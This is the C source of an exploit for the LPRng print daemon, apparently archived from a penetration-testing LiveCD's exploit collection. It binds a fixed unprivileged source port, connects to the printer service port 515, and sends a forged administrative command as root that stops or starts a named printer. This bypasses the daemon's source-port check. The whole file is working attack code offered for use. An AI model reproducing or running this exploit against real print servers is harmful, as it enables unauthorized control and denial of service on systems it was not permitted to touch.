home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / lprng.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  111 lines

  1. /* Exploit for lprng's source port check failure.
  2.  * Written and tested on Debian GNU/Linux
  3.  *
  4.  * Chris Leishman <masklin@debian.org>
  5.  */
  6.  
  7.  
  8. #include <stdlib.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <stdio.h>
  12. #include <unistd.h>
  13. #include <arpa/inet.h>
  14. #include <netinet/in.h>
  15. #include <netdb.h>
  16. #include <errno.h>
  17. #include <string.h>
  18.  
  19.  
  20. #define SRC_PORT 2056
  21. #define HOST "127.0.0.1"
  22. #define DST_PORT 515
  23.  
  24.  
  25. int main(int argc, char **argv)
  26. {
  27.   int sock;
  28.   struct sockaddr_in dest_sin;
  29.   struct sockaddr_in src_sin;
  30.   struct hostent *hp;
  31.   unsigned long ipnum;
  32.   char line[256];
  33.   int mode = 0;
  34.  
  35.   if (argc < 2)
  36.     {
  37.       fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
  38.       exit(EXIT_FAILURE);
  39.     }
  40.  
  41.   if (argc >= 3)
  42.     {
  43.       if (!strcmp(argv[2], "start"))
  44.         mode = 1;
  45.       else if (strcmp(argv[2], "stop"))
  46.         {
  47.           fprintf(stderr, "Invalid mode.  Use stop or start.\n");
  48.           fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
  49.           exit(EXIT_FAILURE);
  50.         }
  51.     }
  52.  
  53.   snprintf(line, sizeof(line), "%c%s root %s %s\n",
  54.            6, argv[1], (mode)? "start":"stop", argv[1]);
  55.  
  56.   memset(&dest_sin, 0, sizeof(struct sockaddr_in));
  57.   dest_sin.sin_port = htons((short) DST_PORT);
  58.  
  59.   ipnum = (unsigned long) inet_addr(HOST);
  60.   if (ipnum != ((unsigned long) INADDR_NONE))
  61.     {
  62.       dest_sin.sin_family = AF_INET;
  63.       dest_sin.sin_addr.s_addr = ipnum;
  64.     }
  65.   else
  66.     {
  67.       if ((hp = gethostbyname(HOST)) == NULL)
  68.         {
  69.           fprintf(stderr, "Host lookup failed.\n");
  70.           exit(EXIT_FAILURE);
  71.         }
  72.  
  73.       dest_sin.sin_family = hp->h_addrtype;
  74.       memcpy(&dest_sin.sin_addr.s_addr,hp->h_addr_list[0],
  75.              (size_t)hp->h_length);
  76.     }
  77.  
  78.   if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  79.     {
  80.       perror("Socket call failed");
  81.       exit(EXIT_FAILURE);
  82.     }
  83.  
  84.   src_sin.sin_family = AF_INET;
  85.   src_sin.sin_addr.s_addr = INADDR_ANY;
  86.   src_sin.sin_port = htons((u_short) SRC_PORT);
  87.  
  88.   if ((bind(sock, (struct sockaddr *)&src_sin, sizeof(src_sin))) < 0)
  89.     {
  90.       perror("Bind failed");
  91.       exit(EXIT_FAILURE);
  92.     }
  93.  
  94.   if (connect(sock, (struct sockaddr *)&dest_sin, sizeof(dest_sin)) < 0)
  95.     {
  96.       close(sock);
  97.       perror("Connect failed");
  98.       exit(EXIT_FAILURE);
  99.     }
  100.  
  101.   if (write(sock, line, strlen(line)) <= 0)
  102.     {
  103.       perror("Write failed");
  104.       exit(EXIT_FAILURE);
  105.     }
  106.  
  107.   close(sock);
  108.  
  109.   return EXIT_SUCCESS;
  110. }
  111.